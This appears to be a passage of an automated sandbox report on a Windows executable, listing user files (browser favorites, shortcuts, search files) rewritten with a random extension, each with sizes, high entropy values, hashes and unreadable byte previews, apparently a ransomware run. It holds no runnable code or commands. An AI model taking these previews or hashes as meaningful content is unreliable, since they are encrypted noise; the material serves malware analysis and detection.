                                                                                Preview: dl.7.B&..........F).)..l..Y.}w....B...u....g.....T!.]R..v..jn.mG97._..[S.k9."0r.e....Ut.a.O..av...(.Wj..c...3.x..h.g.i.eG."......ga.<.{.n.:.......[Z......J...8..*=W..1.......7o.... ...Z@..{.F....%..{.*..8rpr.......k.r..1q...w.y.I-.......)s......6S=.?z.D........<.u.J0{f.1...U...~|...............z'5xQ.'..&O...`3.9.~.U.T$..|....:. ..dC......$Y.z.(.3HB./v....K.....2.5...:.'.t..Fq...4...e..ZE.._...?DbSJ.......U.y41Bh.i....[....z...0.....FaQ...<VVE .h.iB.&v.d....o....+...y_l%....d.h.......\..]z.?.m.>Y.$.......{.:m........DS!.L.......{y.?[....MK...2.u..X.(U.G...:\^._...f.v...4a.<.s..}.Sv.GDB5..P_.<p.d.....%....6..)...tYR...C..v.@.axv{.6...bU..5c.iF@F..K.q..o.F...V........{......qV;.@....UN...w.9`+.....2[.:.j....MB.FJv..ge..i.5.I...........M.^....Z........H=..s.....i......X..J.v.8./.'..V. .W`.j.8.....UpB.X.C.$;..:/...E]..h....P.b.<.5....m..Hj.X...q.\...G....h.....q.6.S..6.1,.* F>..E.@...s..,'..........".]B.c4.....~S......<.9.c.....PV.........`.0....[...
                                                                                c:\users\user\downloads\TQDFJHPUIU.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.862779756428135
                                                                                Encrypted:false
                                                                                SSDEEP:24:IrS5wFnFKA4twcTngsdlH3wPN2bCej4zxVSGuBHtovgdNS2wY6brTfu/A7I:IrRprCngsd13KEC/zJuRtovgzS20TfuT
                                                                                MD5:F7477ED684CF0C1BFDEC0890535E4B0D
                                                                                SHA1:BAB7017F28D969327DA4BA71A2F9139E7C4BB6B0
                                                                                SHA-256:1C4C1ED1C29ACE1BB3B0CF064CAF63E5A27F820C0901803C33D0FEBB45301F74
                                                                                SHA-512:45BB6EB5BC40CB57D174DB564609F1FCF294032573AC5282B8E6A5FE6CA8927C5C96F4BAC1ED5C539F3DA9E9B29103B94DE95069781EC2D358D1C2FC08F13474
                                                                                Malicious:false
                                                                                Preview: ..e.3}..U...(....L.v.....o..,..,M.....q,..."kC}........%.3).......@../04%.......l&9C.{[$I..H......]..j.....x*.6F)5+.2.M..X....=:..V.[.bO..\...4?z...U../..L98.0.sY.P.E0}....m.n.m.b..9...{6.-GZ...`QA. ).?..0.K...-.VMug.l..I..H.V.0.X2..s..KZ....k...W!.Y./..&k]..x..z#e.e6NQ......6;.=@.........X./]bE....[L....B....(.^.F.\...d.......:./.X..m..{.$u}@.-Q.......UE...x..2....|J..z.QU.L./..v.....<j.H'.....l.K....[..}0....AE..Y...m=..e.x..../O,.6..Y1.<.O...y..3.t....N?9........c....i.[H.dZ...o.....j.q.:....e....,NN<..Ms9V..IP.D.g.F@..n....V.I.....1.,.@.........r..H...9...0o.'....Z..d`o..2....>..O.......qY..^..Q..'p....t.Ka...c\S...L[....L......5.h..m..; .<:....k%..]...b...%K.v<.k..H.ppP.SW.Y.*{..c...w6....K.L....OW..FXmG..._q3.R^c.'...^.o..[.VN..#|....A...h..'...?CnH..L..p.1.....4......$....k.;.1I...A..k.# kO..8.m.f...@.^../._b.7!l(...=\.[w....J..'.yXO`.........z3..4dN`..._4..].c.......z,q4..G.....T.i..f..1?..!w.B.=.B....c...d....;1...W7G.}......&.>..~..G
                                                                                c:\users\user\favorites\Amazon.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):339
                                                                                Entropy (8bit):7.390416970414081
                                                                                Encrypted:false
                                                                                SSDEEP:6:SKogT3S7kXLCFuRdiKJA6DHbVTY8jPdTXIzIrVsa3P+NbcydTTZXrfAipV:1T4kXLCF0diV6jdrTfrii+NbcHc
                                                                                MD5:1E3DCB1F8308425B567D29B42E55E19F
                                                                                SHA1:77783FA0D0A7F466BE3E3C7B7F011DBE474A227A
                                                                                SHA-256:852AB2C339CE347851E0643DB4156BED72A781E76BC6BFC83741D659E7930807
                                                                                SHA-512:971FE8DB7C555BAEBBC0056D0EF854EE0537A97031B31970147B6A4E28DE54855B61232BF1FBAAC87A89F43C579FCE7B59E6B3A11FC848202218E875F920E187
                                                                                Malicious:false
                                                                                Preview: ".0".Q..BY..7.&.C...q7..)...DOc*K.U...5.....i.h...+`......W......q.9....E...v.V...'....,3.......i....e.xOH....a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4."..M.mF(.1v.3.....w.({...x..8).w.}ZC........;U.=
                                                                                c:\users\user\favorites\Bing.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):436
                                                                                Entropy (8bit):7.47854486955666
                                                                                Encrypted:false
                                                                                SSDEEP:12:bbc7Stvr3DsFYcDunRHV5qurTfrii+Nbcu4:Fj3QFRMHV5qurTfu/Au4
                                                                                MD5:9937D0A0D6EB3867A09102491A89D2FB
                                                                                SHA1:E1CDC35FC499E4B79FB5A009010A9992C54E0A2A
                                                                                SHA-256:4301AEDF687277ECEDB448C0C98603BB80CCDEDFF281492AE404D6176747050D
                                                                                SHA-512:4184E709B6A94518C453711AA662E82767A424E0A59A576356C6339088C3F4ACE3614558D6B6E61AAEF77A020626DECE221018D074FBCAAD838B3D6E72F41E45
                                                                                Malicious:false
                                                                                Preview: c..}..|-=...U]A........I..RPB..5}.X4.%.%Z.....J.../..[.m.w!y.'../..._...U.5.........5...f....)...$..j...c....V..0.#fpX....I.....VS._<..x..).4.!@.6..k.T...II.."...B....%..r$o..u...s.........,.W`.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4k..S.&.........7n.o4.^P.Rl..Y..j9.......T.....ae.
                                                                                c:\users\user\favorites\Facebook.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):341
                                                                                Entropy (8bit):7.431966666458134
                                                                                Encrypted:false
                                                                                SSDEEP:6:UFz7kytDsCm+k/lZpop5CpTY8jPdTXIzIrVsa3P+NbcydTTZXrH8xRwLX31:Ud7N6Cm+ktS5YrTfrii+NbcAn1
                                                                                MD5:06AAB35F4B482BBED241106819B998F7
                                                                                SHA1:A258EB0FB39D88DFFBBA4BDF536AA3F95F3B2B57
                                                                                SHA-256:0508D6538229E9C9668D73B44CE26E4ABF48DEA2E6E97A2B9C55B819D573F97F
                                                                                SHA-512:E5543DD1B9C2D3B300A92A1F1ED69FBE88D7C048C5CBA4E18C62931D841D51B4429E516D9C21FFC04CF127EF146E4B6BD29F9ED42AFC44B9872B7F184A75405D
                                                                                Malicious:false
                                                                                Preview: .G.yyX...E.i..\.....`..V._...c/.}=.c.aa$..Y6.I..H....Vu....L...3x..'.;.....@..-:..r8...i...Y......9......r<...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4..@.J....9%..;f.R...'.6.....O:.v..@...........1KS.
                                                                                c:\users\user\favorites\Google.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):339
                                                                                Entropy (8bit):7.38307117396667
                                                                                Encrypted:false
                                                                                SSDEEP:6:MRmFdFjrZgLuR54xTY8jPdTXIzIrVsa3P+NbcydTTZXrE3OxxxFNswrBw:M8FXHZOuR2rTfrii+NbcJOxTFmb
                                                                                MD5:845D2642716A7A3F4420B01193BCE20F
                                                                                SHA1:8F5E98EAC01487384EAA2B488EFE441F6A7CF1FC
                                                                                SHA-256:B8FBFDF28F33128E15CD01266B57FEB7C0C4811ABE561E0BAC43F1DB74DEC8D7
                                                                                SHA-512:FD392FDCD12276E2C7217E8D6A4E8731327D3AFAC7334305A03F65158A39D834841207E41E40894F855C788C486CED4626EA246322C2A824229918D46AD32BE8
                                                                                Malicious:false
                                                                                Preview: .0*P..f...`^H...P..U.....'.....I8..:)...-..D....#-."A~.>.........vy...K......s]...q3..t....zt.Y.L...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4)..oux..}..K...}=.[.&Gr.uh.5Z..(.E.Y..n....I....o./.
                                                                                c:\users\user\favorites\Live.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):337
                                                                                Entropy (8bit):7.375561847938648
                                                                                Encrypted:false
                                                                                SSDEEP:6:J7HiLW6Zu4KraF2QTY8jPdTXIzIrVsa3P+NbcydTTZXryHEacIltjy:pHiKL5q2WrTfrii+Nbc5RbzO
                                                                                MD5:044FA06146C53568E4C7A00AD7260391
                                                                                SHA1:A48E5520D6201DE0096A3D535404221C65C40228
                                                                                SHA-256:44E973CF6104261170D7D01935DA4B38E7203BEAF1F65815E8029534EE1EA645
                                                                                SHA-512:6EB2317D95C3BCADBB5B9F27DCAAC44BD926BBE4B7BCE96939664D94DBAE693FD2F54AAE85E169E169F1A4B8CD94AAD7513B84F9373C19FD274A04680A2FD95F
                                                                                Malicious:false
                                                                                Preview: ....Q...X.....n..... .0..2......5.6.7C..t...`.'.x......#.@!..@...s.|..|P@.q..q.tO~ .....l.z...[Q.=g+.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4..f.'N|....]r.Zsq57g7....4.....N}.2.*[.-............
                                                                                c:\users\user\favorites\NYTimes.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):340
                                                                                Entropy (8bit):7.318627334745133
                                                                                Encrypted:false
                                                                                SSDEEP:6:KB+mEIRhL+4GHmZPBTzDu3TY8jPdTXIzIrVsa3P+NbcydTTZXrugdAWOFNA7QW:T/IHLtBDujrTfrii+NbcBWOFNA7QW
                                                                                MD5:082A5959264F7FC2713855E1ADEA41AB
                                                                                SHA1:5359803D4FF18A1DFC33093DED8E204C160B01C1
                                                                                SHA-256:42913E321CBACC9BD101545102D5051FCB90C8A18A145A5B00B3F36FBA0074AC
                                                                                SHA-512:4D6BA172997C9AC2D8729DB5C11466119823FC0F61EFE341492B3E1105A5B64832FD8F81F89A5B5061108E198B0AD5060F1DA58275748C445BE3001352CA330A
                                                                                Malicious:false
                                                                                Preview: ...49{......v.5CAN..B}.m..D9.._'z^.)..Q..9.l.j....S&.Jzo.<..;[>........`.S.(.4.A.U......<(......i.......r...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4..oZ...h.0.t#&.wx.aF%..g&.r.;kw..{..>..\v......(..
                                                                                c:\users\user\favorites\Reddit.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):339
                                                                                Entropy (8bit):7.3614807715507835
                                                                                Encrypted:false
                                                                                SSDEEP:6:gzY9tm30z907AqyZ9bVTY8jPdTXIzIrVsa3P+NbcydTTZXrp3/tyTjQ:i3sSyPRrTfrii+Nbco/V
                                                                                MD5:03EF604F3222C9F54792C293021F2C58
                                                                                SHA1:2A976FA0CE4488FBA1677B93B8834E5CAD94EAD3
                                                                                SHA-256:88120B294F75475BD63C282F072AAE8FD9080F7D1785DD2A88A579395461C389
                                                                                SHA-512:D4282C4FE76F73B1BEC35A3838E034960423459863F3FBF018A6901E72F7AF1E37D3952E2D0510D10F82FD83CBCC7E642EE41CC1E4D8D0D127DE4068DBE4C024
                                                                                Malicious:false
                                                                                Preview: }.r.>s.......hN+...OMD.3cB~x6~.B......#Z.a#.......?O.IF".uB.\..A<.!.%A.....R..d&.....|......f0.!......Z...U..a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.$. +..p...N.kW.F.$..v.W..96nPJ.%..B.X._......Z...
                                                                                c:\users\user\favorites\Twitter.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):340
                                                                                Entropy (8bit):7.38066728747984
                                                                                Encrypted:false
                                                                                SSDEEP:6:9vPiEGSpsuoTsP1ux6RwTY8jPdTXIzIrVsa3P+NbcydTTZXrnsFxy/aU:9nbpRoTsI22rTfrii+NbcP0
                                                                                MD5:7F1F80B41E6BADA7A594E0317E630C3D
                                                                                SHA1:C755A796CF639DA712D08522B6D8F48FD2087419
                                                                                SHA-256:1A2E7A0BA4F5663C0632DC9FC5B8A86E59DFCC2934E90E3C1F90F64621C25242
                                                                                SHA-512:3FC4C6CFE5E3613E78881F02358CF0A3179A019AB74876109EDFFDFA25BC75077B1A581815FF10AA9B6DA82438CECC28E9D77623652EB4FF393571C9061AEF41
                                                                                Malicious:false
                                                                                Preview: <r.%H..0..A..2..Y.,H.. 8=..7K....E..4.Z6@SI.............u......h.=....a..0@.*w.v..e.y..e.....,/.1N..J.o...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.e^\..W.i:y.n.qe?.;./l..h......S..<..........{_7:
                                                                                c:\users\user\favorites\Wikipedia.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):342
                                                                                Entropy (8bit):7.355464851140876
                                                                                Encrypted:false
                                                                                SSDEEP:6:XvIp1zLE7X747tTY8jPdTXIzIrVsa3P+NbcydTTZXrQFvXNzqNCH:XgpNE7U9rTfrii+NbcztF
                                                                                MD5:1D5AF57EDBAF19F586D3A00FEAA2F9CB
                                                                                SHA1:FD7B07C94D54EAC8023AF479BFFAD326DD595B20
                                                                                SHA-256:5A5645E5AA10C36CF152D5340234FD0E5E273F57E2F2204A5F7BC6479983150F
                                                                                SHA-512:A29CDBB7310A4D8E7AF8651068D8985C0A641F732379326ACBAD06AEC23DFC7BBDBC079CE229D45EA108FCF4AF7FDF91EE1140A83AE06B4989E4C5E31C7FD4E6
                                                                                Malicious:false
                                                                                Preview: .f.qA@..z.....I.l...n.'......[..#)Q2...$3.L`..y.$-........L&.upw....V2mz...~..e.*^......B..2..&...yT.5...*.+.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/44..N.)wd......sN.%......Oa...Ox..P.o...a......E.md
                                                                                c:\users\user\favorites\Youtube.url.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):340
                                                                                Entropy (8bit):7.378931727286362
                                                                                Encrypted:false
                                                                                SSDEEP:6:ZJVn0NkRgz67fCN130mpVN6HvTY8jPdTXIzIrVsa3P+NbcydTTZXrQAeKgM0:9nf9mKeHUbrTfrii+NbcND80
                                                                                MD5:1C64BE8FA07E949A090326802AFA972F
                                                                                SHA1:D1A0C2B5B27CB73F7E0DE0FACF605C5958397160
                                                                                SHA-256:0F669AC359960CCA20B234265809E8084B0A30A0322BD73C67FCA05F15F6AAC4
                                                                                SHA-512:DD1E3A46DFB63D4D2CFE5CF531F56787B96AB2108ECF7C8F46E4B85C149873F7DE484C821E2EEF4FEA7ADC5F30113D5EBA8434115DAB23F14381B9CD8203EEE9
                                                                                Malicious:false
                                                                                Preview: ..5.....7.Q*..=L[..%.p....9....s....3E..8..xsh......cU.9..j..@>v.r....s......Np.....C..Kb.rnWc.......f5c.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.I...~..@mqB...U.+#.g..,....N."0...o.>.*.k.K....M..
                                                                                c:\users\user\links\Desktop.lnk.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):722
                                                                                Entropy (8bit):7.690181917598953
                                                                                Encrypted:false
                                                                                SSDEEP:12:bAXoIuSS1yqPer9VhyVGpajiUF6zCtz1HF2WwTfROoxX2HmObrTfrii+NbcKzzS:bQIAOer9HMsz8zhFiPxkbrTfu/AOS
                                                                                MD5:F8C2ACCE94A18F08082D16F5EC9BF288
                                                                                SHA1:04A9A6211E3AFA32AB35BF90870A42E339A88125
                                                                                SHA-256:39FBBC4E81B1313D6AA7A4C5C80CF51E89640F3C2EF3B804235B9E1E3548718E
                                                                                SHA-512:ED7EEC125794861CC1CB8AA219F255FA521557562DF3DD2164F52FD4731F1F0D47E87076D783B780BB21EC5B39FBEAF6314F692B6D1412CC09C10D0CB42EB538
                                                                                Malicious:false
                                                                                Preview: 8....Nf#b%z_i.w.+]...F...+.5..l\.-.a..18...>....\..L9.......Y.3..R";.....5..q...:.B?.O.~...1w..8.......i'.......J..>s.'.....f.}B.l.-.............J..[....;....I.x.z.C.....u.....%T.M.B.'....l=A(..Z.Y.#.0F%.(5.;_...^YJ.H....q...d...0....Z..).*.I.D...37...z....`.._*T.0m...........>......]...9[.....c.j..i.M.o}........}.........D..Q...Q.m...7'......c...^.y..\..%.....G..K|....C.._.......tt(LU..~T.S;.a51....`fx..3..aZd.*...>o...:..x..{.H..W5......{.N#..p.lM.4|.......yf.16....a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.w....C.../J......"..AW"{....h.M.......I.....^.|t
                                                                                c:\users\user\links\Downloads.lnk.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1167
                                                                                Entropy (8bit):7.848676067844034
                                                                                Encrypted:false
                                                                                SSDEEP:24:GXhnEY7nmaAJe2ijHumch2Q4PNpUr8kKC15mXPFVrTfu/AhxN:G9EQzFOmZPjUr8i5mdtTfu/Ah
                                                                                MD5:DB8B511D20CB52C45BDA7FDF47FABEFD
                                                                                SHA1:B75194C84DE542B5D29DACCE321F89036A4997A7
                                                                                SHA-256:23708BAF657D3CD2E1CB855256D0DDDD96D2FE195E26EF411E7CD14C22B6F3C5
                                                                                SHA-512:5101D1B5F9920A8C5D6C0245F6F9A73F631F70F0D9891EDBADE0C4188FD593D77272339B3D5DE375625F0A7F8F7F0BE14EB572FC7ACE33AC846A5B337B3A1188
                                                                                Malicious:false
                                                                                Preview: ...#-Lhu2..d1Y..M...X.>...........h'.s.E9....I.m!...'{i..Z.m.O=.1.:.e{..L\CC}2...)r...oF.....y....H.3..Ysf......m.X.."V..V.m...w...a.gb..b..g.Ala...Z.X^......{S5_8.nS..b~.i...o.SB L....w.M...-..fp..0.....p...4Uv&.q.4....k.......Q.._A...~V.p.^..1c....L....w.;. P.``..g......w...2..?......h...t.].7.P.xI.+\..q[....U......vb..Y.R._..".b`~o......!.W..HMw=.M...-o!.J7.~........5..&9j...ct.E;CLT..h....KH..c...`,S8...].'.:...ei.cb.....77L".....!...W.r.d..X4.8..8....<Iud5.x.....T..K.j{s.+..C5k.]..Z....|.'y..Q......>.......I\..4......LQ.}..5..t...{B....nB..... .NLfj.....QCF.......!..Q.o].]1...m-..{...R.-..h.a..L....[..)...V%G.D..M.'...:.K....).2..lC........G...pVF...7.......vs.`..)6.%U....0.s...Be.LJ.y..g...Q....z.i..rT._w.....Q+..Gn.g.U.....1G...E.1.B.@..o........N.......q........B...5B..g0..7UNR~.B..>....A..(..}...}.v......T.i...<....)...>.`P........EZ.v.R..Im.j.P.C.p...$......\Uw-..auqz.p.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.
                                                                                c:\users\user\searches\Everywhere.search-ms.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):476
                                                                                Entropy (8bit):7.616648646721627
                                                                                Encrypted:false
                                                                                SSDEEP:12:bJc2D2LsnMJiYerZRe1mVrTfrii+NbclLui:9cy2wMJirZRO+rTfu/AlR
                                                                                MD5:A85BF38FC4C8AFD32BEE3D09A8AF6C16
                                                                                SHA1:AD4286CF9DF797DC212C5A91661F52B03985586B
                                                                                SHA-256:5BE03623F10BA90A0D7C2784F7B2CBB9C683C73524ACB9A47BDBCE5DFC77FDEF
                                                                                SHA-512:5232B8F7EFE617890DBA769021B4FFF79ADE7CAEAE0FD74D7762654B339566E1699FD6FB2104BD495DF8A3EDA517EF4CC4BD0A53084E1306856B9B9651E4F4BB
                                                                                Malicious:false
                                                                                Preview: ......?{z?g....W.....9[I...3..G......h]F....p.$...Sv.h...b..Q.q.us...........8TW.7{W..*........e.[' b[.M...m..$.yrn9).!&....)Y.G.~h4r.<u.`..L!v..,.d.3.....y............E...B&.h.}k.9.2..d-.[j..8m.).GIXC<. ...1i..(.O............N.....<..3`$.IX.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4#m......oD...IX..L.1........pi....u.+SCwq.....`q}t
                                                                                c:\users\user\searches\Indexed Locations.search-ms.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):476
                                                                                Entropy (8bit):7.541385235281158
                                                                                Encrypted:false
                                                                                SSDEEP:12:RhLy4QUZE8OzllVU1vRYerTfrii+Nbcx0TBRcQ:tD1Ue1eerTfu/Ax0N+Q
                                                                                MD5:B996D815409AFEE1D6F148776E68C505
                                                                                SHA1:B3BDFD735ECC10D7C0EDC3FF5C900785A12E84AC
                                                                                SHA-256:3CAFE173E7FC8C0F3556D314109CFA7EA8C46D2149BCA7EAEFCFC16C1EE44C12
                                                                                SHA-512:A7096A18FE27D3269F0D3974EE7FCEDB10D00C25E0A2E62DC72211D2585CAAF34D03FA383D2F5267F300683D34C1CA1F657F776E9B6B7BD8288070780539891F
                                                                                Malicious:false
                                                                                Preview: @...).......ZK.....@...q..n(.`...E.Sl.p.9.`..K.=....oFF...Xh..#....V...<..{.aI)..MO.1.5..?..=<|...H...../.n9.....&....a.q.X..s....<=._.#od..]......Nb.n..b,.>..."...)/..$@d.."6..C...5.k/..?ejr..O..........qg.L....*.?..V..S.qA....a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.b......-..\q./.kl...4.....g.q...d.........^..5
                                                                                c:\users\public\desktop\Acrobat Reader DC.lnk.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2352
                                                                                Entropy (8bit):7.91402193356667
                                                                                Encrypted:false
                                                                                SSDEEP:48:dTURbcW3IK5pTKzkLdv6FCrzosDPaTykdpEtEYTfu/Aa:dg9Y8p5dSF9EPWdiEguYa
                                                                                MD5:0F384E432110B1FA417B558EEA6EA184
                                                                                SHA1:9254483EE3CFAE2A244DACA1C1B77908F96F50EE
                                                                                SHA-256:873AE71F077851A6D66761A1517F9FCEC86DAF8B989AD9FEAC6C74D6833A422B
                                                                                SHA-512:C237A9BB3913C2C973B2566781DA1E5603B66E1E9F224FA98CC62BD29E4CAE3A8E9713E26D10AC23CB1BEA532D4310B3AADAAA5174CB5BB880D37C06A1403CD3
                                                                                Malicious:false
                                                                                Preview: .1,e...be..x]........V.B...5{..8Pp.q.[zU.......*w..>8.}Q:.k..g..yL.i./...|.....5.=u.J.]3... .M.T%1...$..Yz..A.....R.K0.b?.<.2d..1.z.....h..$....b..CVa...v.-.(....`6m..J.".....~I`|w.:C.c..... .R.Lx. ...Jo...L.Os............B..,.xY.t/....N.J(J...:C.[.6`K.*..{S.r?;.....8..[.A.|.v.x.~..O..TN..8g..#.kM.@q...S.?..".."..hv..".'~.....NSa.!.M.J....o..v9.[...F.<.D.....=......P.1s...W..P..(.n..H9.a..P.,I...ELz........@..\....A...de..p.0..."....`...u.c.$..%6A.W..X=..<....6t.z....`..h.pc.r..s.v.......@.....N...s....K...>..,............,..s....ot_.'..9...JG.q.$Y8.?J]).k...5g..w..b.8.N...o..7....x..<.1oCw]...U.l...x.=.....8...b..T.8..}.."1.....f.>.N....g.......A..n.....jaz...T............/Y|...E.:..=iX`u.0;.=..=.%]..7..|Y\.f).".. w| ......=h....|.-(Q....Q.6....!.....b...o<...S.5.|..~..[.h.......(. [....7.P^I...\YKW=+..JU.g.m'.&.;.5....D..z-..*...0Y..3.....;......fI../....>..>...`...3+...oM>.K.2gs5h.}..M.....Hl?.4h.........m.....l{.8..7X.+ ..
                                                                                c:\users\public\desktop\Google Chrome.lnk.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2328
                                                                                Entropy (8bit):7.919954331743618
                                                                                Encrypted:false
                                                                                SSDEEP:48:ahvNvK1Y1n9uiIUTnLPc2dOq9q952GrLpBK004ejTfu/A9:8vhKYuizTLPc28q902GHpP04e3uY9
                                                                                MD5:2B23A0A70009EA0F862C1E8D533F2D21
                                                                                SHA1:02B7E418AF07AD36B6D3D1132738D8C0D6C17CAD
                                                                                SHA-256:BB136E397E359A2E23C58411F203A63FC9F150E38440FADC11BFEA964358C8C6
                                                                                SHA-512:907F3823FE5F690235F396E654F30BBFD7328C712B12F3F4943F5CBE6AD9EFFB35C5EC0E0B6229B8877E90554E54A205D095A3377B67AAAA88F6E4241E76692B
                                                                                Malicious:false
                                                                                Preview: .E.r._u.D...._..._5A.7Z.~..../3(z.{...H..'#A..^w....{&.1..).;...`..G.=.b.a..)+.....n<1...=.b../.ni..c...<.D...:6..d.2......o..s7 .O..i...............q..."..~...i...E..>E1..[..r.B.,3..eq<C!..\....@\..<t1w ...c..j...g[.QG..%.....F...E.....@..&e.G..tZ.....E....]k.J.>`.V`.:.<...>.:....Y.D.Np..#.2..@.8....^....O...._..=(.Oc..j..D........`.j.L..}nl.......p(/...?{...jH=......t.8l.X....G^.e..bj..r....!/..e..n.Xp.p5......a.G#d...j..um..1..I.....q.....t...{.t.c .l...=._.ra.m...fC...5....8.....x....E.]...~B....n~..@....Z.....)..U.J.-..Q...Q..a..!.....8i.4.g..s5..|JQ.i.H..".....X............[...%]...7.{.X.6.Ozk..V.kZ.r9.vE:.O..Z.p..,.[ ......B...n...W....;.J..;.iu.Ks..N......\ky.~.p.G8..T...Aq...._.....u9<gt...S.h,m?.f......g.F..qg.U.V..~h..$<..d....V.s.....N-N.@..u...}.=...U...\w..Z..23s^....C...W..lE.H...9.8.&.?.D.T...X,.<...{QZ...x.;.P.......7.....Y>.kj.)nVb..U.]%....O.D...]t`7.A.....hJ'.o.E.G)Km......I ..I...*I......T.{la.N./.K:q.)..
                                                                                c:\users\public\libraries\RecordedTV.library-ms.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1227
                                                                                Entropy (8bit):7.860311896620665
                                                                                Encrypted:false
                                                                                SSDEEP:24:YPCF49+uuY6hoKwdegpg0p7Ha+t8sciH7UCMct+VfzXE2YrTfu/A2dPpX:YqF4nuz+TpgliH7xMVfrnKTfu/A2LX
                                                                                MD5:ED45A01FD872EF1F2C42E06636B7B88B
                                                                                SHA1:E737E30334F362B98BBFF45B8E6D382E7C7EE504
                                                                                SHA-256:D6CFA4FC829707A7A935A48D6E93DD7BEBE2086AA4DBD2E571573BA2A47B204A
                                                                                SHA-512:0E3CC55CBCCBE4401870BE37005FFAE211B7483298906F0A1ACE2BD4A4F307280654FDD9AF55ACEE08BF53AA6409151A6A02493C7708643661CDCED59D6DACCF
                                                                                Malicious:false
